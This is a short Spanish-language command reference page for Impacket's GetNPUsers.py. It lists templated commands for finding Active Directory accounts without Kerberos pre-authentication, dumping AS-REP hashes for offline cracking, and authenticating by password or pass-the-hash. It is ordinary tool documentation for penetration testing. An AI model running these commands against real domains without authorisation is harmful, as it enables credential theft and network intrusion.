1.4 KiB
GetNPUsers.py
Enumera las cuentas de Active Directory con la autenticación previa de Kerberos desactivada, que pueden ser susceptibles a ataques AS-REP roasting. Parte del paquete Impacket. Más información: https://github.com/fortra/impacket.
- Enumera los usuarios con la autenticación previa de Kerberos desactivada (enumeración anónima por defecto):
GetNPUsers.py {{dominio}}/ -usersfile {{ruta/a/la/lista_de_usuarios}} -dc-ip {{ip_del_controlador_de_dominio}} -no-pass
- Realiza roasting AS-REP y vuelca hash descifrables para descifrados sin conexión:
GetNPUsers.py {{dominio}}/ -usersfile {{ruta/a/la/lista_de_usuarios}} -dc-ip {{ip_del_controlador_de_dominio}} -no-pass -request
- Autentica con credenciales válidas (si el enlace anónimo está desactivado):
GetNPUsers.py {{dominio}}/{{nombre_de_usuario}}:{{contraseña}} -usersfile {{ruta/a/la/lista_de_usuarios}} -dc-ip {{ip_del_controlador_de_dominio}}
- Utiliza la autenticación pass-the-hash en lugar de una contraseña:
GetNPUsers.py {{dominio}}/{{nombre_de_usuario}} -hashes {{LM_Hash}}:{{NT_Hash}} -usersfile {{ruta/a/la/lista_de_usuarios}} -dc-ip {{ip_del_controlador_de_dominio}}
- Guarda la salida en un archivo para su posterior análisis:
GetNPUsers.py {{dominio}}/ -usersfile {{ruta/a/lista_de_usuarios}} -dc-ip {{ip_del_controlador_de_dominio}} -request > {{ruta/a/salida.txt}}